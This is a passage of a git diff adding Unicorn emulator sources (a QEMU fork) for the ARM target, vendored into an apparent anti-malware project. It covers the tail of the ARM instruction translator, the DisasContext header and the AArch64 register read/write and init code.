* emit code to generate a software step exception + * end the TB + */ + dc->ss_active = ARM_TBFLAG_SS_ACTIVE(tb->flags); + dc->pstate_ss = ARM_TBFLAG_PSTATE_SS(tb->flags); + dc->is_ldex = false; + dc->ss_same_el = false; /* Can't be true since EL_d must be AArch64 */ + + tcg_ctx->cpu_F0s = tcg_temp_new_i32(tcg_ctx); + tcg_ctx->cpu_F1s = tcg_temp_new_i32(tcg_ctx); + tcg_ctx->cpu_F0d = tcg_temp_new_i64(tcg_ctx); + tcg_ctx->cpu_F1d = tcg_temp_new_i64(tcg_ctx); + tcg_ctx->cpu_V0 = tcg_ctx->cpu_F0d; + tcg_ctx->cpu_V1 = tcg_ctx->cpu_F1d; + /* FIXME: tcg_ctx->cpu_M0 can probably be the same as tcg_ctx->cpu_V0. */ + tcg_ctx->cpu_M0 = tcg_temp_new_i64(tcg_ctx); + next_page_start = (pc_start & TARGET_PAGE_MASK) + TARGET_PAGE_SIZE; + lj = -1; + num_insns = 0; + max_insns = tb->cflags & CF_COUNT_MASK; + if (max_insns == 0) + max_insns = CF_COUNT_MASK; + + tcg_clear_temp_count(); + + // Unicorn: early check to see if the address of this block is the until address + if (tb->pc == env->uc->addr_end) { + // imitate WFI instruction to halt emulation + gen_tb_start(tcg_ctx); + dc->is_jmp = DISAS_WFI; + goto tb_end; + } + + // Unicorn: trace this block on request + // Only hook this block if it is not broken from previous translation due to + // full translation cache + if (!env->uc->block_full && HOOK_EXISTS_BOUNDED(env->uc, UC_HOOK_BLOCK, pc_start)) { + // save block address to see if we need to patch block size later + env->uc->block_addr = pc_start; + env->uc->size_arg = tcg_ctx->gen_opparam_buf - tcg_ctx->gen_opparam_ptr + 1; + gen_uc_tracecode(tcg_ctx, 0xf8f8f8f8, UC_HOOK_BLOCK_IDX, env->uc, pc_start); + } else { + env->uc->size_arg = -1; + } + + gen_tb_start(tcg_ctx); + + /* A note on handling of the condexec (IT) bits: + * + * We want to avoid the overhead of having to write the updated condexec + * bits back to the CPUARMState for every instruction in an IT block. So: + * (1) if the condexec bits are not already zero then we write + * zero back into the CPUARMState now. This avoids complications trying + * to do it at the end of the block. (For example if we don't do this + * it's hard to identify whether we can safely skip writing condexec + * at the end of the TB, which we definitely want to do for the case + * where a TB doesn't do anything with the IT state at all.) + * (2) if we are going to leave the TB then we call gen_set_condexec() + * which will write the correct value into CPUARMState if zero is wrong. + * This is done both for leaving the TB at the end, and for leaving + * it because of an exception we know will happen, which is done in + * gen_exception_insn(). The latter is necessary because we need to + * leave the TB with the PC/IT state just prior to execution of the + * instruction which caused the exception. + * (3) if we leave the TB unexpectedly (eg a data abort on a load) + * then the CPUARMState will be wrong and we need to reset it. + * This is handled in the same way as restoration of the + * PC in these situations: we will be called again with search_pc=1 + * and generate a mapping of the condexec bits for each PC in + * gen_opc_condexec_bits[]. restore_state_to_opc() then uses + * this to restore the condexec bits. + * + * Note that there are no instructions which can read the condexec + * bits, and none which can write non-static values to them, so + * we don't need to care about whether CPUARMState is correct in the + * middle of a TB. + */ + + /* Reset the conditional execution bits immediately. This avoids + complications trying to do it at the end of the block. */ + if (dc->condexec_mask || dc->condexec_cond) + { + TCGv_i32 tmp = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp, 0); + store_cpu_field(tcg_ctx, tmp, condexec_bits); + } + do { + //printf(">>> arm pc = %x\n", dc->pc); +#ifdef CONFIG_USER_ONLY + /* Intercept jump to the magic kernel page. */ + if (dc->pc >= 0xffff0000) { + /* We always get here via a jump, so know we are not in a + conditional execution block. */ + gen_exception_internal(dc, EXCP_KERNEL_TRAP); + dc->is_jmp = DISAS_UPDATE; + break; + } +#else + if (dc->pc >= 0xfffffff0 && arm_dc_feature(dc, ARM_FEATURE_M)) { + /* We always get here via a jump, so know we are not in a + conditional execution block. */ + gen_exception_internal(dc, EXCP_EXCEPTION_EXIT); + dc->is_jmp = DISAS_UPDATE; + break; + } +#endif + + if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { + QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { + if (bp->pc == dc->pc) { + gen_exception_internal_insn(dc, 0, EXCP_DEBUG); + /* Advance PC so that clearing the breakpoint will + invalidate this TB. */ + dc->pc += 2; + goto done_generating; + } + } + } + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + if (lj < j) { + lj++; + while (lj < j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } + tcg_ctx->gen_opc_pc[lj] = dc->pc; + tcg_ctx->gen_opc_condexec_bits[lj] = (dc->condexec_cond << 4) | (dc->condexec_mask >> 1); + tcg_ctx->gen_opc_instr_start[lj] = 1; + //tcg_ctx->gen_opc_icount[lj] = num_insns; + } + + //if (num_insns + 1 == max_insns && (tb->cflags & CF_LAST_IO)) + // gen_io_start(); + + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP | CPU_LOG_TB_OP_OPT))) { + tcg_gen_debug_insn_start(tcg_ctx, dc->pc); + } + + if (dc->ss_active && !dc->pstate_ss) { + /* Singlestep state is Active-pending. + * If we're in this state at the start of a TB then either + * a) we just took an exception to an EL which is being debugged + * and this is the first insn in the exception handler + * b) debug exceptions were masked and we just unmasked them + * without changing EL (eg by clearing PSTATE.D) + * In either case we're going to take a swstep exception in the + * "did not step an insn" case, and so the syndrome ISV and EX + * bits should be zero. + */ + assert(num_insns == 0); + gen_exception(dc, EXCP_UDEF, syn_swstep(dc->ss_same_el, 0, 0)); + goto done_generating; + } + + if (dc->thumb) { // qq + disas_thumb_insn(env, dc); + if (dc->condexec_mask) { + dc->condexec_cond = (dc->condexec_cond & 0xe) + | ((dc->condexec_mask >> 4) & 1); + dc->condexec_mask = (dc->condexec_mask << 1) & 0x1f; + if (dc->condexec_mask == 0) { + dc->condexec_cond = 0; + } + } + } else { + unsigned int insn; + + // end address tells us to stop emulation + if (dc->pc == dc->uc->addr_end) { + // imitate WFI instruction to halt emulation + dc->is_jmp = DISAS_WFI; + } else { + insn = arm_ldl_code(env, dc->pc, dc->bswap_code); + dc->pc += 4; + disas_arm_insn(dc, insn); + } + } + + if (dc->condjmp && !dc->is_jmp) { + gen_set_label(tcg_ctx, dc->condlabel); + dc->condjmp = 0; + } + + if (tcg_check_temp_count()) { + fprintf(stderr, "TCG temporary leak before "TARGET_FMT_lx"\n", + dc->pc); + } + + /* Translation stops when a conditional branch is encountered. + * Otherwise the subsequent code could get translated several times. + * Also stop translation when a page boundary is reached. This + * ensures prefetch aborts occur at the right place. */ + num_insns ++; + } while (!dc->is_jmp && tcg_ctx->gen_opc_ptr < gen_opc_end && + !cs->singlestep_enabled && + !dc->ss_active && + dc->pc < next_page_start && + num_insns < max_insns); + + if (tb->cflags & CF_LAST_IO) { + if (dc->condjmp) { + /* FIXME: This can theoretically happen with self-modifying + code. */ + cpu_abort(cs, "IO on conditional branch instruction"); + } + //gen_io_end(); + } + + /* if too long translation, save this info */ + if (tcg_ctx->gen_opc_ptr >= gen_opc_end || num_insns >= max_insns) { + block_full = true; + } + +tb_end: + + /* At this stage dc->condjmp will only be set when the skipped + instruction was a conditional branch or trap, and the PC has + already been written. */ + if (unlikely(cs->singlestep_enabled || dc->ss_active)) { + /* Make sure the pc is updated, and raise a debug exception. */ + if (dc->condjmp) { + gen_set_condexec(dc); + if (dc->is_jmp == DISAS_SWI) { + gen_ss_advance(dc); + gen_exception(dc, EXCP_SWI, syn_aa32_svc(dc->svc_imm, dc->thumb)); + } else if (dc->is_jmp == DISAS_HVC) { + gen_ss_advance(dc); + gen_exception(dc, EXCP_HVC, syn_aa32_hvc(dc->svc_imm)); + } else if (dc->is_jmp == DISAS_SMC) { + gen_ss_advance(dc); + gen_exception(dc, EXCP_SMC, syn_aa32_smc()); + } else if (dc->ss_active) { + gen_step_complete_exception(dc); + } else { + gen_exception_internal(dc, EXCP_DEBUG); + } + gen_set_label(tcg_ctx, dc->condlabel); + } + if (dc->condjmp || !dc->is_jmp) { + gen_set_pc_im(dc, dc->pc); + dc->condjmp = 0; + } + gen_set_condexec(dc); + if (dc->is_jmp == DISAS_SWI && !dc->condjmp) { + gen_ss_advance(dc); + gen_exception(dc, EXCP_SWI, syn_aa32_svc(dc->svc_imm, dc->thumb)); + } else if (dc->is_jmp == DISAS_HVC && !dc->condjmp) { + gen_ss_advance(dc); + gen_exception(dc, EXCP_HVC, syn_aa32_hvc(dc->svc_imm)); + } else if (dc->is_jmp == DISAS_SMC && !dc->condjmp) { + gen_ss_advance(dc); + gen_exception(dc, EXCP_SMC, syn_aa32_smc()); + } else if (dc->ss_active) { + gen_step_complete_exception(dc); + } else { + /* FIXME: Single stepping a WFI insn will not halt + the CPU. */ + gen_exception_internal(dc, EXCP_DEBUG); + } + } else { + /* While branches must always occur at the end of an IT block, + there are a few other things that can cause us to terminate + the TB in the middle of an IT block: + - Exception generating instructions (bkpt, swi, undefined). + - Page boundaries. + - Hardware watchpoints. + Hardware breakpoints have already been handled and skip this code. + */ + gen_set_condexec(dc); + switch(dc->is_jmp) { + case DISAS_NEXT: + gen_goto_tb(dc, 1, dc->pc); + break; + default: + case DISAS_JUMP: + case DISAS_UPDATE: + /* indicate that the hash table must be used to find the next TB */ + tcg_gen_exit_tb(tcg_ctx, 0); + break; + case DISAS_TB_JUMP: + /* nothing more to generate */ + break; + case DISAS_WFI: + gen_helper_wfi(tcg_ctx, tcg_ctx->cpu_env); + break; + case DISAS_WFE: + gen_helper_wfe(tcg_ctx, tcg_ctx->cpu_env); + break; + case DISAS_SWI: + gen_exception(dc, EXCP_SWI, syn_aa32_svc(dc->svc_imm, dc->thumb)); + break; + case DISAS_HVC: + gen_exception(dc, EXCP_HVC, syn_aa32_hvc(dc->svc_imm)); + break; + case DISAS_SMC: + gen_exception(dc, EXCP_SMC, syn_aa32_smc()); + break; + } + if (dc->condjmp) { + gen_set_label(tcg_ctx, dc->condlabel); + gen_set_condexec(dc); + gen_goto_tb(dc, 1, dc->pc); + dc->condjmp = 0; + } + } + +done_generating: + gen_tb_end(tcg_ctx, tb, num_insns); + *tcg_ctx->gen_opc_ptr = INDEX_op_end; + + if (search_pc) { + j = tcg_ctx->gen_opc_ptr - tcg_ctx->gen_opc_buf; + lj++; + while (lj <= j) + tcg_ctx->gen_opc_instr_start[lj++] = 0; + } else { + tb->size = dc->pc - pc_start; + //tb->icount = num_insns; + } + + env->uc->block_full = block_full; +} + +void gen_intermediate_code(CPUARMState *env, TranslationBlock *tb) +{ + gen_intermediate_code_internal(arm_env_get_cpu(env), tb, false); +} + +void gen_intermediate_code_pc(CPUARMState *env, TranslationBlock *tb) +{ + gen_intermediate_code_internal(arm_env_get_cpu(env), tb, true); +} + +#if 0 +static const char *cpu_mode_names[16] = { + "usr", "fiq", "irq", "svc", "???", "???", "mon", "abt", + "???", "???", "hyp", "und", "???", "???", "???", "sys" +}; + +void arm_cpu_dump_state(CPUState *cs, FILE *f, fprintf_function cpu_fprintf, + int flags) +{ + ARMCPU *cpu = ARM_CPU(cs); + CPUARMState *env = &cpu->env; + int i; + uint32_t psr; + + if (is_a64(env)) { + aarch64_cpu_dump_state(cs, f, cpu_fprintf, flags); + return; + } + + for(i=0;i<16;i++) { + cpu_fprintf(f, "R%02d=%08x", i, env->regs[i]); + if ((i % 4) == 3) + cpu_fprintf(f, "\n"); + else + cpu_fprintf(f, " "); + } + psr = cpsr_read(env); + cpu_fprintf(f, "PSR=%08x %c%c%c%c %c %s%d\n", + psr, + psr & (1 << 31) ? 'N' : '-', + psr & (1 << 30) ? 'Z' : '-', + psr & (1 << 29) ? 'C' : '-', + psr & (1 << 28) ? 'V' : '-', + psr & CPSR_T ? 'T' : 'A', + cpu_mode_names[psr & 0xf], (psr & 0x10) ? 32 : 26); + + if (flags & CPU_DUMP_FPU) { + int numvfpregs = 0; + if (arm_feature(env, ARM_FEATURE_VFP)) { + numvfpregs += 16; + } + if (arm_feature(env, ARM_FEATURE_VFP3)) { + numvfpregs += 16; + } + for (i = 0; i < numvfpregs; i++) { + uint64_t v = float64_val(env->vfp.regs[i]); + cpu_fprintf(f, "s%02d=%08x s%02d=%08x d%02d=%016" PRIx64 "\n", + i * 2, (uint32_t)v, + i * 2 + 1, (uint32_t)(v >> 32), + i, v); + } + cpu_fprintf(f, "FPSCR: %08x\n", (int)env->vfp.xregs[ARM_VFP_FPSCR]); + } +} +#endif + +void restore_state_to_opc(CPUARMState *env, TranslationBlock *tb, int pc_pos) +{ + TCGContext *tcg_ctx = env->uc->tcg_ctx; + if (is_a64(env)) { + env->pc = tcg_ctx->gen_opc_pc[pc_pos]; + env->condexec_bits = 0; + } else { + env->regs[15] = tcg_ctx->gen_opc_pc[pc_pos]; + env->condexec_bits = tcg_ctx->gen_opc_condexec_bits[pc_pos]; + } +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.h new file mode 100644 index 0000000..44b160f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/translate.h @@ -0,0 +1,116 @@ +#ifndef TARGET_ARM_TRANSLATE_H +#define TARGET_ARM_TRANSLATE_H + +/* internal defines */ +typedef struct DisasContext { + target_ulong pc; + uint32_t insn; + int is_jmp; + /* Nonzero if this instruction has been conditionally skipped. */ + int condjmp; + /* The label that will be jumped to when the instruction is skipped. */ + int condlabel; + /* Thumb-2 conditional execution bits. */ + int condexec_mask; + int condexec_cond; + struct TranslationBlock *tb; + int singlestep_enabled; + int thumb; + int bswap_code; +#if !defined(CONFIG_USER_ONLY) + int user; +#endif + bool cpacr_fpen; /* FP enabled via CPACR.FPEN */ + bool vfp_enabled; /* FP enabled via FPSCR.EN */ + int vec_len; + int vec_stride; + /* Immediate value in AArch32 SVC insn; must be set if is_jmp == DISAS_SWI + * so that top level loop can generate correct syndrome information. + */ + uint32_t svc_imm; + int aarch64; + int current_el; + GHashTable *cp_regs; + uint64_t features; /* CPU features bits */ + /* Because unallocated encodings generate different exception syndrome + * information from traps due to FP being disabled, we can't do a single + * "is fp access disabled" check at a high level in the decode tree. + * To help in catching bugs where the access check was forgotten in some + * code path, we set this flag when the access check is done, and assert + * that it is set at the point where we actually touch the FP regs. + */ + bool fp_access_checked; + /* ARMv8 single-step state (this is distinct from the QEMU gdbstub + * single-step support). + */ + bool ss_active; + bool pstate_ss; + /* True if the insn just emitted was a load-exclusive instruction + * (necessary for syndrome information for single step exceptions), + * ie A64 LDX*, LDAX*, A32/T32 LDREX*, LDAEX*. + */ + bool is_ldex; + /* True if a single-step exception will be taken to the current EL */ + bool ss_same_el; + /* Bottom two bits of XScale c15_cpar coprocessor access control reg */ + int c15_cpar; +#define TMP_A64_MAX 16 + int tmp_a64_count; + TCGv_i64 tmp_a64[TMP_A64_MAX]; + + // Unicorn engine + struct uc_struct *uc; +} DisasContext; + + +static inline int arm_dc_feature(DisasContext *dc, int feature) +{ + return (dc->features & (1ULL << feature)) != 0; +} + +static inline int get_mem_index(DisasContext *s) +{ + return s->current_el; +} + +/* target-specific extra values for is_jmp */ +/* These instructions trap after executing, so the A32/T32 decoder must + * defer them until after the conditional execution state has been updated. + * WFI also needs special handling when single-stepping. + */ +#define DISAS_WFI 4 +#define DISAS_SWI 5 +/* For instructions which unconditionally cause an exception we can skip + * emitting unreachable code at the end of the TB in the A64 decoder + */ +#define DISAS_EXC 6 +/* WFE */ +#define DISAS_WFE 7 +#define DISAS_HVC 8 +#define DISAS_SMC 9 + +#ifdef TARGET_AARCH64 +void a64_translate_init(struct uc_struct *uc); +void gen_intermediate_code_internal_a64(ARMCPU *cpu, + TranslationBlock *tb, + bool search_pc); +void gen_a64_set_pc_im(DisasContext *s, uint64_t val); +#else +static inline void a64_translate_init(struct uc_struct *uc) +{ +} + +static inline void gen_intermediate_code_internal_a64(ARMCPU *cpu, + TranslationBlock *tb, + bool search_pc) +{ +} + +static inline void gen_a64_set_pc_im(uint64_t val) +{ +} +#endif + +void arm_gen_test_cc(TCGContext *tcg_ctx, int cc, int label); + +#endif /* TARGET_ARM_TRANSLATE_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn.h b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn.h new file mode 100644 index 0000000..a65b072 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn.h @@ -0,0 +1,29 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#ifndef UC_QEMU_TARGET_ARM_H +#define UC_QEMU_TARGET_ARM_H + +// functions to read & write registers +int arm_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +int arm_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); +int arm64_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count); +int arm64_reg_write(struct uc_struct *uc, unsigned int *regs, void *const *vals, int count); + +void arm_reg_reset(struct uc_struct *uc); +void arm64_reg_reset(struct uc_struct *uc); + +DEFAULT_VISIBILITY +void arm_uc_init(struct uc_struct* uc); +void armeb_uc_init(struct uc_struct* uc); + +DEFAULT_VISIBILITY +void arm64_uc_init(struct uc_struct* uc); +void arm64eb_uc_init(struct uc_struct* uc); + +extern const int ARM_REGS_STORAGE_SIZE_arm; +extern const int ARM_REGS_STORAGE_SIZE_armeb; +extern const int ARM64_REGS_STORAGE_SIZE_aarch64; +extern const int ARM64_REGS_STORAGE_SIZE_aarch64eb; + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_aarch64.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_aarch64.c new file mode 100644 index 0000000..42bd7cc --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_aarch64.c @@ -0,0 +1,248 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh , 2015 */ + +#include "hw/boards.h" +#include "hw/arm/arm.h" +#include "sysemu/cpus.h" +#include "unicorn.h" +#include "cpu.h" +#include "unicorn_common.h" +#include "uc_priv.h" + + +const int ARM64_REGS_STORAGE_SIZE = offsetof(CPUARMState, tlb_table); + +static void arm64_set_pc(struct uc_struct *uc, uint64_t address) +{ + ((CPUARMState *)uc->current_cpu->env_ptr)->pc = address; +} + +void arm64_release(void* ctx); + +void arm64_release(void* ctx) +{ + struct uc_struct* uc; + ARMCPU* cpu; + TCGContext *s = (TCGContext *) ctx; + + g_free(s->tb_ctx.tbs); + uc = s->uc; + cpu = (ARMCPU*) uc->cpu; + g_free(cpu->cpreg_indexes); + g_free(cpu->cpreg_values); + g_free(cpu->cpreg_vmstate_indexes); + g_free(cpu->cpreg_vmstate_values); + + release_common(ctx); +} + +void arm64_reg_reset(struct uc_struct *uc) +{ + CPUArchState *env = uc->cpu->env_ptr; + memset(env->xregs, 0, sizeof(env->xregs)); + + env->pc = 0; +} + +int arm64_reg_read(struct uc_struct *uc, unsigned int *regs, void **vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + void *value = vals[i]; + // V & Q registers are the same + if (regid >= UC_ARM64_REG_V0 && regid <= UC_ARM64_REG_V31) { + regid += UC_ARM64_REG_Q0 - UC_ARM64_REG_V0; + } + if (regid >= UC_ARM64_REG_X0 && regid <= UC_ARM64_REG_X28) { + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.xregs[regid - UC_ARM64_REG_X0]; + } else if (regid >= UC_ARM64_REG_W0 && regid <= UC_ARM64_REG_W30) { + *(int32_t *)value = READ_DWORD(ARM_CPU(uc, mycpu)->env.xregs[regid - UC_ARM64_REG_W0]); + } else if (regid >= UC_ARM64_REG_Q0 && regid <= UC_ARM64_REG_Q31) { + float64 *dst = (float64*) value; + uint32_t reg_index = 2*(regid - UC_ARM64_REG_Q0); + dst[0] = ARM_CPU(uc, mycpu)->env.vfp.regs[reg_index]; + dst[1] = ARM_CPU(uc, mycpu)->env.vfp.regs[reg_index+1]; + } else if (regid >= UC_ARM64_REG_D0 && regid <= UC_ARM64_REG_D31) { + *(float64*)value = ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_D0)]; + } else if (regid >= UC_ARM64_REG_S0 && regid <= UC_ARM64_REG_S31) { + *(int32_t*)value = READ_DWORD(ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_S0)]); + } else if (regid >= UC_ARM64_REG_H0 && regid <= UC_ARM64_REG_H31) { + *(int16_t*)value = READ_WORD(ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_H0)]); + } else if (regid >= UC_ARM64_REG_B0 && regid <= UC_ARM64_REG_B31) { + *(int8_t*)value = READ_BYTE_L(ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_B0)]); + } else if (regid >= UC_ARM64_REG_ELR_EL0 && regid <= UC_ARM64_REG_ELR_EL3) { + *(uint64_t*)value = ARM_CPU(uc, mycpu)->env.elr_el[regid - UC_ARM64_REG_ELR_EL0]; + } else if (regid >= UC_ARM64_REG_SP_EL0 && regid <= UC_ARM64_REG_SP_EL3) { + *(uint64_t*)value = ARM_CPU(uc, mycpu)->env.sp_el[regid - UC_ARM64_REG_SP_EL0]; + } else if (regid >= UC_ARM64_REG_ESR_EL0 && regid <= UC_ARM64_REG_ESR_EL3) { + *(uint64_t*)value = ARM_CPU(uc, mycpu)->env.cp15.esr_el[regid - UC_ARM64_REG_ESR_EL0]; + } else if (regid >= UC_ARM64_REG_FAR_EL0 && regid <= UC_ARM64_REG_FAR_EL3) { + *(uint64_t*)value = ARM_CPU(uc, mycpu)->env.cp15.far_el[regid - UC_ARM64_REG_FAR_EL0]; + } else if (regid >= UC_ARM64_REG_VBAR_EL0 && regid <= UC_ARM64_REG_VBAR_EL3) { + *(uint64_t*)value = ARM_CPU(uc, mycpu)->env.cp15.vbar_el[regid - UC_ARM64_REG_VBAR_EL0]; + } else { + switch(regid) { + default: break; + case UC_ARM64_REG_CPACR_EL1: + *(uint32_t *)value = ARM_CPU(uc, mycpu)->env.cp15.c1_coproc; + break; + case UC_ARM64_REG_TPIDR_EL0: + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.tpidr_el0; + break; + case UC_ARM64_REG_TPIDRRO_EL0: + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.tpidrro_el0; + break; + case UC_ARM64_REG_TPIDR_EL1: + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.tpidr_el1; + break; + case UC_ARM64_REG_X29: + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.xregs[29]; + break; + case UC_ARM64_REG_X30: + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.xregs[30]; + break; + case UC_ARM64_REG_PC: + *(uint64_t *)value = ARM_CPU(uc, mycpu)->env.pc; + break; + case UC_ARM64_REG_SP: + *(int64_t *)value = ARM_CPU(uc, mycpu)->env.xregs[31]; + break; + case UC_ARM64_REG_NZCV: + *(int32_t *)value = cpsr_read(&ARM_CPU(uc, mycpu)->env) & CPSR_NZCV; + break; + case UC_ARM64_REG_PSTATE: + *(uint32_t *)value = pstate_read(&ARM_CPU(uc, mycpu)->env); + break; + case UC_ARM64_REG_TTBR0_EL1: + *(uint64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.ttbr0_el1; + break; + case UC_ARM64_REG_TTBR1_EL1: + *(uint64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.ttbr1_el1; + break; + case UC_ARM64_REG_PAR_EL1: + *(uint64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.par_el1; + break; + case UC_ARM64_REG_MAIR_EL1: + *(uint64_t *)value = ARM_CPU(uc, mycpu)->env.cp15.mair_el1; + break; + } + } + } + + return 0; +} + +int arm64_reg_write(struct uc_struct *uc, unsigned int *regs, void* const* vals, int count) +{ + CPUState *mycpu = uc->cpu; + int i; + + for (i = 0; i < count; i++) { + unsigned int regid = regs[i]; + const void *value = vals[i]; + if (regid >= UC_ARM64_REG_V0 && regid <= UC_ARM64_REG_V31) { + regid += UC_ARM64_REG_Q0 - UC_ARM64_REG_V0; + } + if (regid >= UC_ARM64_REG_X0 && regid <= UC_ARM64_REG_X28) { + ARM_CPU(uc, mycpu)->env.xregs[regid - UC_ARM64_REG_X0] = *(uint64_t *)value; + } else if (regid >= UC_ARM64_REG_W0 && regid <= UC_ARM64_REG_W30) { + WRITE_DWORD(ARM_CPU(uc, mycpu)->env.xregs[regid - UC_ARM64_REG_W0], *(uint32_t *)value); + } else if (regid >= UC_ARM64_REG_Q0 && regid <= UC_ARM64_REG_Q31) { + float64 *src = (float64*) value; + uint32_t reg_index = 2*(regid - UC_ARM64_REG_Q0); + ARM_CPU(uc, mycpu)->env.vfp.regs[reg_index] = src[0]; + ARM_CPU(uc, mycpu)->env.vfp.regs[reg_index+1] = src[1]; + } else if (regid >= UC_ARM64_REG_D0 && regid <= UC_ARM64_REG_D31) { + ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_D0)] = * (float64*) value; + } else if (regid >= UC_ARM64_REG_S0 && regid <= UC_ARM64_REG_S31) { + WRITE_DWORD(ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_S0)], *(int32_t*) value); + } else if (regid >= UC_ARM64_REG_H0 && regid <= UC_ARM64_REG_H31) { + WRITE_WORD(ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_H0)], *(int16_t*) value); + } else if (regid >= UC_ARM64_REG_B0 && regid <= UC_ARM64_REG_B31) { + WRITE_BYTE_L(ARM_CPU(uc, mycpu)->env.vfp.regs[2*(regid - UC_ARM64_REG_B0)], *(int8_t*) value); + } else if (regid >= UC_ARM64_REG_ELR_EL0 && regid <= UC_ARM64_REG_ELR_EL3) { + ARM_CPU(uc, mycpu)->env.elr_el[regid - UC_ARM64_REG_ELR_EL0] = *(uint64_t*)value; + } else if (regid >= UC_ARM64_REG_SP_EL0 && regid <= UC_ARM64_REG_SP_EL3) { + ARM_CPU(uc, mycpu)->env.sp_el[regid - UC_ARM64_REG_SP_EL0] = *(uint64_t*)value; + } else if (regid >= UC_ARM64_REG_ESR_EL0 && regid <= UC_ARM64_REG_ESR_EL3) { + ARM_CPU(uc, mycpu)->env.cp15.esr_el[regid - UC_ARM64_REG_ESR_EL0] = *(uint64_t*)value; + } else if (regid >= UC_ARM64_REG_FAR_EL0 && regid <= UC_ARM64_REG_FAR_EL3) { + ARM_CPU(uc, mycpu)->env.cp15.far_el[regid - UC_ARM64_REG_FAR_EL0] = *(uint64_t*)value; + } else if (regid >= UC_ARM64_REG_VBAR_EL0 && regid <= UC_ARM64_REG_VBAR_EL3) { + ARM_CPU(uc, mycpu)->env.cp15.vbar_el[regid - UC_ARM64_REG_VBAR_EL0] = *(uint64_t*)value; + } else { + switch(regid) { + default: break; + case UC_ARM64_REG_CPACR_EL1: + ARM_CPU(uc, mycpu)->env.cp15.c1_coproc = *(uint32_t *)value; + break; + case UC_ARM64_REG_TPIDR_EL0: + ARM_CPU(uc, mycpu)->env.cp15.tpidr_el0 = *(uint64_t *)value; + break; + case UC_ARM64_REG_TPIDRRO_EL0: + ARM_CPU(uc, mycpu)->env.cp15.tpidrro_el0 = *(uint64_t *)value; + break; + case UC_ARM64_REG_TPIDR_EL1: + ARM_CPU(uc, mycpu)->env.cp15.tpidr_el1 = *(uint64_t *)value; + break; + case UC_ARM64_REG_X29: + ARM_CPU(uc, mycpu)->env.xregs[29] = *(uint64_t *)value; + break; + case UC_ARM64_REG_X30: + ARM_CPU(uc, mycpu)->env.xregs[30] = *(uint64_t *)value; + break; + case UC_ARM64_REG_PC: + ARM_CPU(uc, mycpu)->env.pc = *(uint64_t *)value; + // force to quit execution and flush TB + uc->quit_request = true; + uc_emu_stop(uc); + break; + case UC_ARM64_REG_SP: + ARM_CPU(uc, mycpu)->env.xregs[31] = *(uint64_t *)value; + break; + case UC_ARM64_REG_NZCV: + cpsr_write(&ARM_CPU(uc, mycpu)->env, *(uint32_t *)value, CPSR_NZCV); + break; + case UC_ARM64_REG_PSTATE: + pstate_write(&ARM_CPU(uc, mycpu)->env, *(uint32_t *)value); + break; + case UC_ARM64_REG_TTBR0_EL1: + ARM_CPU(uc, mycpu)->env.cp15.ttbr0_el1 = *(uint64_t *)value; + break; + case UC_ARM64_REG_TTBR1_EL1: + ARM_CPU(uc, mycpu)->env.cp15.ttbr1_el1 = *(uint64_t *)value; + break; + case UC_ARM64_REG_PAR_EL1: + ARM_CPU(uc, mycpu)->env.cp15.par_el1 = *(uint64_t *)value; + break; + case UC_ARM64_REG_MAIR_EL1: + ARM_CPU(uc, mycpu)->env.cp15.mair_el1 = *(uint64_t *)value; + break; + } + } + } + + return 0; +} + +DEFAULT_VISIBILITY +#ifdef TARGET_WORDS_BIGENDIAN +void arm64eb_uc_init(struct uc_struct* uc) +#else +void arm64_uc_init(struct uc_struct* uc) +#endif +{ + register_accel_types(uc); + arm_cpu_register_types(uc); + aarch64_cpu_register_types(uc); + machvirt_machine_init(uc); + uc->reg_read = arm64_reg_read; + uc->reg_write = arm64_reg_write; + uc->reg_reset = arm64_reg_reset; + uc->set_pc = arm64_set_pc; + uc->release = arm64_release; + uc_common_init(uc); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_arm.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-arm/unicorn_arm.c new file mode 100644 index 0000000..d5b9a7d --- /dev/null +++ 